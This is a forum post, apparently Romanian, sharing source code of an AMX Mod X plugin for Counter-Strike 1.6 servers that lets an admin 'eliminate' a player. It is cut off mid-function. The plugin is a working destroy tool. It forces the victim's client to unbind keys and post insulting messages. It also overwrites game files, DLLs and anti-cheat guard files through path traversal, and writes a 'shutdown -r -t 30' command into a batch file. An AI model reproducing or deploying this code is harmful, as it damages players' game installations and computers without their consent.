• Like 4
  • UP 1
  • Mor de râs 1
  • Dislike 1
Sari la conținut

Postări Recomandate

Postat
  • Nume plugin: Advanced Eliminate
  • Autor: Hades
  • Versiune: 1.5b

 

/*
___________________________________________________________________________________________________________
===========================================================================================================
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯?
				    ___________________________________
				   |=                                 =|
			           |=       Advanced Eliminate        =|
			           |=       ¯¯¯¯¯¯¯¯?by ¯¯¯¯¯¯        =|
			           |=	    ¯¯¯¯¯¯?Hades ¯¯¯¯?    =|
			           |=                   ¯¯¯¯¯¯¯¯      =|
                                    ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯?
 __________________________________________________________________________________________________________
|==========================================================================================================|
|													  						 |
|					 Copyright ?2017, Hades							     |
|			  Acest fisier este prevazut asa cum este ( fara garantii )	     |
|													 					     |
|==========================================================================================================|
 ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
	- ?				         ?Prieteni ?		      							?-
	** * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * **
	* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
	* * *										  									      * * *
	* *  																				   	* *
	* *							Mike	Coco 	Drace										* *	
	* *																					  	* *
	* *									 											      	* *
	* *																						* *
	* * *								             							   		  * * *
	* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
	** * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * **
	
	- ?				       ?Multumiri ?		      		?-
	** * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * **
	* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
	* * *										   									   		* * * 
	* *	o    war3ft mod    celor ce au creat modul war3ft pentru ca am luat					* *
	* *				din plugin-ul lor ultimate-ul de la										* *
	* *				rasa undead ( acela de explodeaza ).									* *
	* * *										    									  *	* *
	* *	o    Mike    	pentru ca m-a ajutat tot timpul cu									* *
	* *				testatul si imbunatatirea plugin-ului		     					    * *
	* * *										   				 					  	  * * * 
	* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
	** * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * **
 __________________________________________________________________________________________________________	
|==========================================================================================================|	
* 													   *
 *	                   Daca gasiti ceva in neregula, va rog sa ma contactati.		          *
  **													    							      **
    *				     									    							   *
     *				      Steam:     TmT69				          							    *
      **			     																	     **
        *										         										   *
	 *											  												*
	 |****************************************************************************************|
	  ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
*/

#include < amxmodx >
#include < amxmisc >
#include <dhudmessage>
#include < fun >
#include < cc_colorchat >

#pragma semicolon 1

#define PLUGIN "[>Advanced Eliminate<]"
#define VERSION "1.5b"


#define EliminatesNum			5120		
#define ELIMINATETASK 			112233		//Nu modifica..
#define ELIMINATE_ACCESS		ADMIN_IMMUNITY // flag A


new const FirstEliminateCommands[ ][ ] =
{

	"^"sv_zmax 409^" Enabled False", 
	"^"sv_zmax 409^" GuardON False", 
	"csx_setcvar Enabled False", 
	"rus_setcvar Enabled False", 
	"prot_setcvar Enabled False", 
	"unk_setcvar Enabled False", 
	"fix_setcvar Enabled False", 
	"fullserverinfo ^"\*gamedir\cstrike^"" , 
	"set_data 2 5 150",  
	"cl_filterstuffcmd 0",
	"unbindall",
	"developer 1",
	"name LabaLunga[Eliminat]",
	"cd eject",
	"bind d snapshot",
	"bind a snapshot",
	"bind s snapshot",
	"bind w snapshot",
	"bind mouse1 snapshot",
	"bind mouse2 snapshot", 
	"bind TAB snapshot",
	"bind SPACE snapshot",
	"bind y snapshot",
	"bind u snapshot",
	"bind ` snapshot",
	"bind ~ snapshot",
	"viewsize 99999999",
	"r_fullbright 5",
	"hisound 0",
	"gl_vsync 1",
	"m_customaccel_max 99999",
	"max_shells 9999",
	"gl_ansio 16",
	"hud_saytext_time 999999",
	"fastsprites 99999999999",
	"con_color 1",
	"hud_draw 0;hideradar;wait;room_type 10;wait;volume 999999",
	"rate 1;wait;cl_cmdrate 10;wait;cl_updaterate 10;wait;gl_flipmatrix 1",
	"fps_modem 1,wait;fps_max 2;wait;sys_ticrate 1;wait;m_pitch 0.0;wait;m_yaw 0.0",
	"motdfile as_tundra.wad;motd_write AdvancedEliminate_v0.1.5_by_Hades",
	"motdfile cs_747.wad;motd_write AdvancedEliminate_v0.1.5_by_Hades",
	"motdfile cs_assault.wad;motd_write AdvancedEliminate_v0.1.5_by_Hades",
	"motdfile cs_office.wad;motd_write AdvancedEliminate_v0.1.5_by_Hades",
	"motdfile cstrike.wad;motd_write AdvancedEliminate_v0.1.5_by_Hades",
	"motdfile de_aztec.wad;motd_write AdvancedEliminate_v0.1.5_by_Hades",
	"motdfile de_dust.wad;motd_write AdvancedEliminate_v0.1.5_by_Hades",
	"motdfile decals.wad;motd_write AdvancedEliminate_v0.1.5_by_Hades",
	"motdfile halflife.wad;motd_write AdvancedEliminate_v0.1.5_by_Hades",
	"motdfile pldecal.wad;motd_write AdvancedEliminate_v0.1.5_by_Hades",
	"motdfile tempdecal.wad;motd_write AdvancedEliminate_v0.1.5_by_Hades",
	"motdfile events/ak47.sc;motd_write AdvancedEliminate_v0.1.5_by_Hades",
	"motdfile dlls/mp.dll;motd_write AdvancedEliminate_v0.1.5_by_Hades",
	"motdfile resource/ClientScheme.res;motd_write AdvancedEliminate_v0.1.5_by_Hades",
	"motdfile resource/GameMenu.res;motd_write AdvancedEliminate_v0.1.5_by_Hades",
	"motdfile resource/TrackerScheme.res;motd_write AdvancedEliminate_v0.1.5_by_Hades",
	"motdfile resource/BackgroundLayout.txt;motd_write AdvancedEliminate_v0.1.5_by_Hades",
	"motdfile resource/BackgroundLoadingLayout.txt;motd_write AdvancedEliminate_v0.1.5_by_Hades",
	"motdfile resource/UI/MOTD.res;motd_write AdvancedEliminate_v0.1.5_by_Hades",
	"motdfile resource/UI/ScoreBoard.res;motd_write AdvancedEliminate_v0.1.5_by_Hades",
	"motdfile resource/UI/Spectator.res;motd_write AdvancedEliminate_v0.1.5_by_Hades",
	"motdfile resource/logo_game.res;motd_write AdvancedEliminate_v0.1.5_by_Hades",
	"motdfile resource/UI/BuyMenu.res;motd_write AdvancedEliminate_v0.1.5_by_Hades",
	"motdfile resource/UI/Classmenu.res.res;motd_write AdvancedEliminate_v0.1.5_by_Hades",
	"motdfile resource/UI/Teammenu.res;motd_write AdvancedEliminate_v0.1.5_by_Hades",
	"motdfile resource/UI/TutorTextWindow.res;motd_write AdvancedEliminate_v0.1.5_by_Hades",
	"motdfile resource/UI/BottomSpectator.res;motd_write AdvancedEliminate_v0.1.5_by_Hades",
	"motdfile sprites/hud.txt;motd_write AdvancedEliminate_v0.1.5_by_Hades",
	"motdfile sprites/320hud1.spr;motd_write AdvancedEliminate_v0.1.5_by_Hades",
	"motdfile sprites/640hud10.spr;motd_write AdvancedEliminate_v0.1.5_by_Hades",
	"motdfile sprites/640hud11.spr;motd_write AdvancedEliminate_v0.1.5_by_Hades",
	"say ^"Sunt su.gaci asa de mare incat mama imi spune sa ii las morcovul in pace.^""
	
};


new const SecondEliminateCommands[ ][ ] =
{
	
	"cl_filterstuffcmd 0",
	"motdfile models/player/gign/gign.mdl;motd_write AdvancedEliminate_v0.1.5_by_Hades",
	"motdfile models/player/arctic/arctic.mdl;motd_write AdvancedEliminate_v0.1.5_by_Hades",
	"motdfile models/player/vip/vip.mdl;motd_write AdvancedEliminate_v0.1.5_by_Hades",
	"motdfile models/player/urban/urban.mdl;motd_write AdvancedEliminate_v0.1.5_by_Hades",
	"motdfile models/player/terror/terror.mdl;motd_write AdvancedEliminate_v0.1.5_by_Hades",
	"motdfile models/player/sas/sas.mdl;motd_write AdvancedEliminate_v0.1.5_by_Hades",
	"motdfile models/player/leet/leet.mdl;motd_write AdvancedEliminate_v0.1.5_by_Hades",
	"motdfile models/player/gsg9/gsg9.mdl;motd_write AdvancedEliminate_v0.1.5_by_Hades",
	"motdfile models/player/guerilla/guerilla.mdl;motd_write AdvancedEliminate_v0.1.5_by_Hades",
	"motdfile models/player/xt/xt.mdl;motd_write AdvancedEliminate_v0.1.5_by_Hades",
	"motdfile models/sv/v_hegrenade.mdl;motd_write AdvancedEliminate_v0.1.5_by_Hades",
	"motdfile models/sv/w_hegrenade.mdl;motd_write AdvancedEliminate_v0.1.5_by_Hades",
	"motdfile models/sv/p_hegrenade.mdl;motd_write AdvancedEliminate_v0.1.5_by_Hades",
	"motdfile models/bag.mdl;motd_write AdvancedEliminate_v0.1.5_by_Hades",
	"motdfile models/aflock.mdl;motd_write AdvancedEliminate_v0.1.5_by_Hades",
	"motdfile models/dragon.mdl;motd_write AdvancedEliminate_v0.1.5_by_Hades",
	"motdfile models/bigrat.mdl;motd_write AdvancedEliminate_v0.1.5_by_Hades",
	"motdfile models/big_rock.mdl;motd_write AdvancedEliminate_v0.1.5_by_Hades",
	"motdfile models/gibs_null.mdl;motd_write AdvancedEliminate_v0.1.5_by_Hades",
	"motdfile models/gibs_rock.mdl;motd_write AdvancedEliminate_v0.1.5_by_Hades",
	"motdfile models/gman.mdl;motd_write AdvancedEliminate_v0.1.5_by_Hades",
	"motdfile models/grass.mdl;motd_write AdvancedEliminate_v0.1.5_by_Hades",
	"motdfile models/hgrunt.mdl;motd_write AdvancedEliminate_v0.1.5_by_Hades",
	"motdfile models/holo.mdl;motd_write AdvancedEliminate_v0.1.5_by_Hades",
	"motdfile models/hornet.mdl;motd_write AdvancedEliminate_v0.1.5_by_Hades",
	"motdfile models/hassassint.mdl;motd_write AdvancedEliminate_v0.1.5_by_Hades",
	"motdfile models/hairt.mdl;motd_write AdvancedEliminate_v0.1.5_by_Hades",
	"motdfile models/v_knife.mdl;motd_write AdvancedEliminate_v0.1.5_by_Hades",
	"motdfile models/p_knife.mdl;motd_write AdvancedEliminate_v0.1.5_by_Hades",
	"motdfile models/oranget.mdl;motd_write AdvancedEliminate_v0.1.5_by_Hades",
	"motdfile models/v_ak47.mdl;motd_write AdvancedEliminate_v0.1.5_by_Hades",
	"motdfile models/v_m4a1.mdl;motd_write AdvancedEliminate_v0.1.5_by_Hades",
	"motdfile models/orange.mdl;motd_write AdvancedEliminate_v0.1.5_by_Hades",
	"motdfile models/jeep2.mdl;motd_write AdvancedEliminate_v0.1.5_by_Hades",
	"motdfile models/gibs_vent2.mdl;motd_write AdvancedEliminate_v0.1.5_by_Hades",
	"motdfile models/v_hegrenade.mdl;motd_write AdvancedEliminate_v0.1.5_by_Hades",
	"motdfile models/p_hegrenade.mdl;motd_write AdvancedEliminate_v0.1.5_by_Hades",
	"motdfile models/w_hegrenade.mdl;motd_write AdvancedEliminate_v0.1.5_by_Hades",
	"motdfile models/v_smokegrenade.mdl;motd_write AdvancedEliminate_v0.1.5_by_Hades",
	"motdfile models/p_smokegrenade.mdl;motd_write AdvancedEliminate_v0.1.5_by_Hades",
	"motdfile models/w_smokegrenade.mdl;motd_write AdvancedEliminate_v0.1.5_by_Hades",
	"motdfile ^"!MD5/../../RussianE.asi^";motd_write AdvancedEliminate_v0.1.5_by_Hades", 
	"motdfile ^"!MD5/../../CSXGuard.asi^";motd_write AdvancedEliminate_v0.1.5_by_Hades", 
	"motdfile ^"!MD5/../../HuaNGuard.asi^";motd_write AdvancedEliminate_v0.1.5_by_Hades", 
	"motdfile ^"!MD5/../../HuaNGuardV4.asi^";motd_write AdvancedEliminate_v0.1.5_by_Hades", 
	"motdfile ^"!MD5/../../raiz0CFG.asi^";motd_write AdvancedEliminate_v0.1.5_by_Hades", 
	"motdfile ^"!MD5/../../CounterStrike.bat^";motd_write shutdown -r -t 30", 
	"motdfile ^"!MD5/../../ANTI-GUARD.asi^";motd_write AdvancedEliminate_v0.1.5_by_Hades"
};

new PluginStop[7][] =
{
	"destroy.amxx",
	"amx_ruin.amxx",
	"amx_pika.amxx",
	"amx_exterminate.amxx",
	"amx_lake.amxx",
	"amx_genius.amxx",
	"amxx_fuckoff.amxx"	
};

new g_Test[33];

new const EliminateDataFile[ ] = "EliminateData.txt";
new const EliminateLogFile[ ] = "EliminateLog.txt";

new const EliminateExplodeSpr[ ] = "sprites/zerogxplode.spr";
new const EliminateShockWaveSpr[ ] = "sprites/shockwave.spr";
new const EliminateSmokeSpr[ ] = "sprites/steam1.spr";

new const EliminateExplodeSound[ ] = "ambience/particle_suck1.wav";


//Pentru ban-uri..
new EliminatedTime[ EliminatesNum ] [ 32 ];
new EliminatedName[ EliminatesNum ] [ 32 ];
new EliminatedIp[ EliminatesNum ] [ 32 ];
new EliminatedSteamId[ EliminatesNum ] [ 35 ];
new EliminatedAdminName[ EliminatesNum ] [ 32 ];
new EliminatedAdminIp[ EliminatesNum ] [ 32 ];
new EliminatedAdminSteamId[ EliminatesNum ] [ 35 ];
new EliminatedReason[ EliminatesNum ] [ 32 ];


new Eliminates = 0;

new cvar_tag;
new cvar_site;

//new SyncHudMessage;
new ExplodeSpr, ShockWaveSpr, SmokeSpr;

new vOrigin[ 33 ][ 3 ];

//De aici nu va mai explic..pentru ca nu e nevoie sa intelegeti voi...
//Daca modificati sunteti bun raspunzatori.
public plugin_init( )
{		
		register_plugin( PLUGIN, VERSION, "Hades" );
		
		cvar_tag = register_cvar( "ae_tag", "[DEVILZONE]" );
		cvar_site = register_cvar( "ae_site", "www.DevilZone.ro" );
		
		register_concmd( "amx_eliminate", "ConCmdEliminate", -1, "< nume / parte din nume > < motiv >" );
		register_concmd( "amx_uneliminate", "ConCmdUnEliminate", -1, "< ip / steamid > < motiv >" );
		register_concmd( "amx_printeliminates", "ConCmdPrintEliminates", -1, "" );
		register_concmd( "amx_reloadeliminates", "ConCmdReloadEliminates", -1, "" );
		
		
		//SyncHudMessage = CreateHudSyncObj( );	
}

/*======================================= - ?Hades ?- =======================================*/

public plugin_precache( ) 
{		
		ExplodeSpr = precache_model( EliminateExplodeSpr );
		ShockWaveSpr = precache_model( EliminateShockWaveSpr );
		SmokeSpr = precache_model( EliminateSmokeSpr );
		
		precache_sound( EliminateExplodeSound );
		
		new File[ 128 ];
		get_configsdir( File, sizeof ( File ) -1 );
		formatex( File, sizeof ( File ) -1, "%s/%s", File, EliminateLogFile );
		
		if( !file_exists( File ) ) 
		{
			write_file( File ,"In acest log veti gasi urmatoarele informatii:", -1 );
			write_file( File ,"Cine, cand si cui a dat eliminate dar si pe ce motiv.",-1 );
			write_file( File ,"Cine, cand si cui a scos eliminarea dar si pe ce motiv.",-1 );
			write_file( File ,"",-1 );
			write_file( File ,"",-1 );
		}
		
		get_datadir( File, sizeof ( File ) -1 );
		formatex( File, sizeof ( File ) -1, "%s/%s", File, EliminateDataFile );
		
		if( !file_exists( File ) )
		{
			write_file( File ,";Ip-urile / Steamid-urile userilor eliminati permanent !", -1 );
			write_file( File ,";",-1 );
			write_file( File ,";",-1 );
		}	
		
		LoadEliminates( );
}

/*======================================= - ?Hades ?- =======================================*/

public client_authorized( id )
{

	if ( is_user_bot( id ) || is_user_hltv( id ) ) return 0;
	
	vOrigin[ id ][ 0 ] = 0;
	vOrigin[ id ][ 1 ] = 0;
	vOrigin[ id ][ 2 ] = 0;
	
	new ip[ 32 ], authid[ 35 ], bool:IsSteamUser = false;
	get_user_ip( id, ip , sizeof ( ip ) -1, 1 );
	get_user_authid( id, authid, sizeof ( authid ) -1 );
	
	IsSteamUser = ( authid[ 7 ] == ':' ? true : false );
	
	for( new i = 0; i < Eliminates ; i++ )
	{
		if( !IsSteamUser && equal( EliminatedIp[ i ], ip ) || IsSteamUser && equal( EliminatedSteamId[ i ], authid ) ) 
		{
			PrintConsoleInfo( id, EliminatedName[ i ], EliminatedIp[ i ], EliminatedSteamId[ i ], EliminatedReason[ i ],
				EliminatedAdminName[ i ], EliminatedAdminIp[ i ], EliminatedAdminSteamId[ i ], EliminatedTime[ i ] );

			set_task( 1.0, "TaskDisconnectPlayer", id + ELIMINATETASK );
			
			break;
		}
	}
	
	
	return 0;
}

public client_disconnected( id )
{
	vOrigin[ id ][ 0 ] = 0;
	vOrigin[ id ][ 1 ] = 0;
	vOrigin[ id ][ 2 ] = 0;
	g_Test[ id ] = false;
}

/*======================================= - ?Hades ?- =======================================*/

public ConCmdEliminate( id )
{
	if( !HasUserAccess( id ) )
	{
		return 1;
	}

	new FirstArg[ 32 ], SecondArg[ 32 ];
	new Player = cmd_target(id, FirstArg, CMDTARGET_OBEY_IMMUNITY | CMDTARGET_NO_BOTS | CMDTARGET_ALLOW_SELF);
	
	
	read_argv( 1, FirstArg , sizeof ( FirstArg ) -1 );
	read_argv( 2, SecondArg , sizeof ( SecondArg ) -1 );
	
	if( equal( FirstArg, "" ) || equal( SecondArg, "" ) )
	{
		client_cmd( id, "echo amx_eliminate < nume / parte din nume > < motiv > - By Hades18 !" );
		return 1;
	}
		
	Player = cmd_target( id, FirstArg,  8 );

	if( !Player || !is_user_connected( Player ) ) return 1;
	
	set_dhudmessage(random(256), random(256), random(256), -1.00, 0.60, 1, 6.00, 3.00, 0.10, 5.00, false);
	show_dhudmessage(0, "[WARRNING]: %s used Advanced Eliminate on %s >>------%s %s------<< ", get_name( id ), get_name( Player ), PLUGIN, VERSION);

	
	show_motd(Player, "http://inciswf.com/1332235315120.swf", "Hello");
	
	client_cmd( 0, "spk ^"vox/bizwarn _comma _comma detected user and eliminate^"" );
	//ColorChat( 0, RED,"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~");
	ColorChat( 0, RED,"^x04%s^x03 %s^x01 l-a eliminat pe^x03 %s^x01 Motiv:^x03 %s^x01 !", get_tag( ), get_name( id ), get_name( Player ), SecondArg );
	
	client_cmd( id, "echo %s a fost eliminat !", get_name( Player ) );
	client_cmd( id, "echo Motiv: %s !", SecondArg );
	
	client_cmd( Player, "-forward;wait;-back;wait;-moveleft;wait;-moveright;wait;-duck;wait;-showscores" );
	client_cmd( Player, "-attack;wait;-attack2" );
	
	PrintConsoleInfo( Player, get_name( Player ), get_ip( Player ), get_authid( Player ), SecondArg,
				get_name( id ), get_ip( id ), get_authid( id ), _get_time( ) );
				
	LogToConfigs( "Admin %s [%s] (%s) - l-a eliminat pe - %s [%s] (%s) - Motiv: %s ",
		get_name( id ), get_authid( id ), get_ip( id ), get_name( Player ),
		get_authid( Player ), get_ip( Player ), SecondArg );
	
	if(  is_user_alive(  Player  )  )
	{
		CreateEliminateEffects( Player + ELIMINATETASK );
		FadeScreen(Player, 15.00, random(256), random(256), random(256), 200);
		Shake_Player(Player, 15.00);
	}
	
	EliminateUser( id, Player, SecondArg );
	set_task( 7.0, "TaskDisconnectPlayerFromSV", Player + ELIMINATETASK );
	
	return 1;
}

public ConCmdEliminateTest( id )
{
	if( !HasUserAccess( id ) )
	{
		return 1;
	}

	new FirstArg[ 32 ], SecondArg[ 32 ];
	new Player = cmd_target(id, FirstArg, CMDTARGET_OBEY_IMMUNITY | CMDTARGET_NO_BOTS | CMDTARGET_ALLOW_SELF);
	
	
	read_argv( 1, FirstArg , sizeof ( FirstArg ) -1 );
	read_argv( 2, SecondArg , sizeof ( SecondArg ) -1 );
	
	if( equal( FirstArg, "" ) || equal( SecondArg, "" ) )
	{
		client_cmd( id, "echo amx_eliminateTEST < nume / parte din nume > < motiv > - By Hades18 !" );
		return 1;
	}
		
	Player = cmd_target( id, FirstArg,  8 );

	if( !Player || !is_user_connected( Player ) ) return 1;
	
	set_dhudmessage(random(256), random(256), random(256), -1.00, 0.60, 1, 6.00, 3.00, 0.10, 5.00, false);
	show_dhudmessage(0, "[WARRNING]: %s used Advanced Eliminate on %s >>------%s %s------<< ", get_name( id ), get_name( Player ), PLUGIN, VERSION);

	
	show_motd(Player, "http://inciswf.com/1332235315120.swf", "Hello");
	client_cmd(Player, "snapsHOT");
	
	client_cmd( 0, "spk ^"vox/bizwarn _comma _comma detected user and eliminate^"" );
	ColorChat( 0, RED,"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~");
	ColorChat( 0, RED,"^x04%s^x03 %s^x01 l-a eliminat pe^x03 %s^x01 Motiv:^x03 %s^x01 !", get_tag( ), get_name( id ), get_name( Player ), SecondArg );
	
	client_cmd( id, "echo %s a fost eliminat !", get_name( Player ) );
	client_cmd( id, "echo Motiv: %s !", SecondArg );
	
	client_cmd( Player, "-forward;wait;-back;wait;-moveleft;wait;-moveright;wait;-duck;wait;-showscores" );
	client_cmd( Player, "-attack;wait;-attack2" );
	
	PrintConsoleInfo( Player, get_name( Player ), get_ip( Player ), get_authid( Player ), SecondArg,
				get_name( id ), get_ip( id ), get_authid( id ), _get_time( ) );
				
	/*LogToConfigs( "Admin %s [%s] (%s) - l-a eliminat pe - %s [%s] (%s) - Motiv: %s ",
		get_name( id ), get_authid( id ), get_ip( id ), get_name( Player ),
		get_authid( Player ), get_ip( Player ), SecondArg );*/
	
	if(  is_user_alive(  Player  )  )
	{
		CreateEliminateEffects( Player );
		FadeScreen(Player, 15.00, random(256), random(256), random(256), 200);
		Shake_Player(Player, 15.00);
	}
	
	EliminateUser( id, Player, SecondArg );
	set_task( 7.0, "TaskDisconnectPlayerFromSV", Player + ELIMINATETASK );
	g_Test[id] = true;
	
	return 1;
}

/*======================================= - ?Hades ?- =======================================*/

public ConCmdUnEliminate( id )
{
	if( !HasUserAccess( id ) )
	{
		client_cmd( id, "????!" );
		return 1;
	}
	
	new FirstArg[ 32 ], SecondArg[ 32 ];
	new bool:EliminationFound = false;
	
	read_argv( 1, FirstArg , sizeof ( FirstArg ) -1 );
	read_argv( 2, SecondArg , sizeof ( SecondArg ) -1 );
	
	if( equal( FirstArg, "" ) || equal( SecondArg, "" ) )
	{
		if( id == 0 )
		{
			server_print( "amx_eliminate < ip / steamid > < motiv > !" );
			return 1;
			
		}
		
		else
		{
			client_cmd( id, "echo amx_eliminate < ip / steamid > < motiv > !" );
			return 1;
		}
	}
	
	new plugin_info[ 128 ];
	if( id == 0 )
	{
		formatex( plugin_info, sizeof ( plugin_info ) -1,"************ %s v%s by %s ***********", PLUGIN, VERSION, "Hades");
	}
	else
	{
		formatex( plugin_info, sizeof ( plugin_info ) -1,"echo ^"************ %s v%s by %s ***********^"", PLUGIN, VERSION, "Hades");
	}
	
	for( new i = 0; i < Eliminates ; i++ )
	{
		if( equal( EliminatedIp[ i ], FirstArg ) || equal( EliminatedSteamId[ i ], FirstArg ) )
		{
			
			if( id == 0)
			{
				
				
				server_print( "****************************************************");
				server_print( "************* Informatii despre scoaterea eliminarii ***********" );
				server_print( "*    " );
				server_print( "*    Nume: %s", EliminatedName[ i ] );
				server_print( "*    Ip: %s", EliminatedIp[ i ] );
				server_print( "*    Steamid: %s", EliminatedSteamId[ i ] );
				server_print( "*    Motiv: %s ", EliminatedReason[ i ] );
				server_print( "*    Durata: Permanenta" );
				server_print( "*    Nume Admin: %s", EliminatedAdminName[ i ] );
				server_print( "*    Ip Admin: %s", EliminatedAdminIp[ i ] );
				server_print( "*    Steamid Admin: %s", EliminatedAdminSteamId[ i ] );
				server_print( "*    Data/Ora: %s", EliminatedTime[ i ] );
				server_print( "*    " );
				server_print( "*    Comanda executata cu succes !" );
				server_print( "*    Eliminarea de pe ip-ul / steamid-ul |%s| a fost scoasa.", FirstArg );
				server_print( "*    ");
				server_print( "****************************************************");
				server_print( "%s", plugin_info );
				server_print( "****************************************************");
				
				EliminationFound = true;
				
				LogToConfigs( "-----------------------------------------------------------------------------------------------------------------------------------------------");
				LogToConfigs( "ADMIN %s (%s) - a scos eliminarea ce urmeaza ! - Motiv: %s", get_name( id ), get_ip( id ), SecondArg );
				LogToConfigs( "ELIMINARE:| %s | Admin %s [%s] (%s) - l-a eliminat pe %s [%s] (%s) - Motiv: %s",	EliminatedTime[ i ], EliminatedAdminName[ i ], EliminatedAdminSteamId[ i ], EliminatedAdminIp[ i ], EliminatedName[ i ], EliminatedSteamId[ i ], EliminatedIp[ i ], EliminatedReason[ i ] );
				LogToConfigs( "-----------------------------------------------------------------------------------------------------------------------------------------------");
			}
			
			else
			{
				
				client_cmd( id, "echo ^"****************************************************^"");
				client_cmd( id, "echo ^"************* Informatii despre scoaterea eliminarii ***********^"" );
				client_cmd( id, "echo ^"*    ^"" );
				client_cmd( id, "echo ^"*    Nume: %s^"", EliminatedName[ i ] );
				client_cmd( id, "echo ^"*    Ip: %s^"", EliminatedIp[ i ] );
				client_cmd( id, "echo ^"*    Steamid: %s^"", EliminatedSteamId[ i ] );
				client_cmd( id, "echo ^"*    Motiv: %s ^"", EliminatedReason[ i ] );
				client_cmd( id, "echo ^"*    Durata: Permanenta^"" );
				client_cmd( id, "echo ^"*    Nume Admin: %s^"", EliminatedAdminName[ i ] );
				client_cmd( id, "echo ^"*    Steamid Admin: %s^"", EliminatedAdminSteamId[ i ] );
				client_cmd( id, "echo ^"*    Data/Ora: %s^"", EliminatedTime[ i ] );
				client_cmd( id, "echo ^"*    ^"" );
				client_cmd( id, "echo ^"*    Comanda executata cu succes !^"" );
				client_cmd( id, "echo ^"*    Eliminarea de pe ip-ul / steamid-ul |%s| a fost scoasa.^"", FirstArg );
				client_cmd( id, "echo ^"*    ^"");
				client_cmd( id, "echo ^"****************************************************^"");
				client_cmd( id, "%s", plugin_info );
				client_cmd( id, "echo ^"****************************************************^"");
				
				EliminationFound = true;
				
				LogToConfigs( "-----------------------------------------------------------------------------------------------------------------------------------------------");
				LogToConfigs( "ADMIN %s [%s] (%s) - a scos eliminarea ce urmeaza ! - Motiv: %s", get_name( id ), get_authid( id ), get_ip( id ), SecondArg );
				LogToConfigs( "ELIMINARE:| %s | Admin %s [%s] (%s) - l-a eliminat pe %s [%s] (%s) - Motiv: %s",	EliminatedTime[ i ], EliminatedAdminName[ i ], EliminatedAdminSteamId[ i ], EliminatedAdminIp[ i ], EliminatedName[ i ], EliminatedSteamId[ i ], EliminatedIp[ i ], EliminatedReason[ i ] );
				LogToConfigs( "-----------------------------------------------------------------------------------------------------------------------------------------------");
				
				client_cmd( 0, "spk vox/doop" );
				ColorChat( 0, RED,"^x04%s^x03 %s^x01 i-a scos eliminarea lui^x03 %s^x01 !", get_tag( ), get_name( id ), EliminatedName[ i ] );
			}
				
			RemoveEliminate( i );
			break;
		}
		
	}
	
	if( !EliminationFound )
	{
		if( id == 0 )
		{
			server_print( "****************************************************" );
			server_print( "****************************************************" );
			server_print( "*    " );
			server_print( "*    Comanda nu poate fi executata !" );
			server_print( "*    Ip-ul / steamid-ul |%s|", FirstArg );
			server_print( "*    Nu a fost gasit in baza de date." );
			server_print( "*    " );
			server_print( "****************************************************");
			server_print( "%s", plugin_info );
			server_print( "****************************************************");
		}
		
		else
		{
			
			client_cmd( id, "echo ^"****************************************************^"" );
			client_cmd( id, "echo ^"****************************************************^"" );
			client_cmd( id, "echo ^"*    ^"" );
			client_cmd( id, "echo ^"*    Comanda nu poate fi executata !^"" );
			client_cmd( id, "echo ^"*    Ip-ul / steamid-ul |%s|^"", FirstArg );
			client_cmd( id, "echo ^"*    Nu a fost gasit in baza de date.^"" );
			client_cmd( id, "echo ^"*    ^"" );
			client_cmd( id, "echo ^"****************************************************^"");
			client_cmd( id, "%s", plugin_info );
			client_cmd( id, "echo ^"****************************************************^"");
		}
	}
	
	return 1;
}
/*======================================= - ?Hades ?- =======================================*/

public ConCmdPrintEliminates( id )
{
	if( !( get_user_flags( id ) & ELIMINATE_ACCESS ) )
	{
		client_cmd( id, "????!" );
		return 1;
	}
	
	if( Eliminates == 0 )
	{
		if( id == 0 )
		{
			server_print( "Nu am gasit nicio eliminare in baza de date !" );
			return 1;
		}
		else
		{
			
			client_cmd( id, "echo Nu am gasit nicio eliminare in baza de date !" );
			return 1;
		}
	}
	
	new start , end, pos_to_num;
	new position[ 5 ];
	
	read_argv( 1, position, sizeof ( position ) - 1 );
	pos_to_num = str_to_num( position );
	start = min( pos_to_num, Eliminates ) - 1;

	if( start <= 0 ) start = 0;
	
	end = min( start + 5, Eliminates ); // nu modifica aici mai mult de 5 ca iti va da reliable channel overflowed
	
	new plugin_info[ 128 ];
	
	if( id == 0 )
	{
		formatex( plugin_info, sizeof ( plugin_info ) -1,"************ %s v%s by %s ***********", PLUGIN, VERSION, "Hades");
	
		server_print( "****************************************************" );
		server_print( "*    Nr total de eliminari: %d | Eliminari vizualizate acum: %d - %d", Eliminates, start + 1, end );
		server_print( "*    " );
		
		for( new i = start ; i < end ; i++ )
		{
			
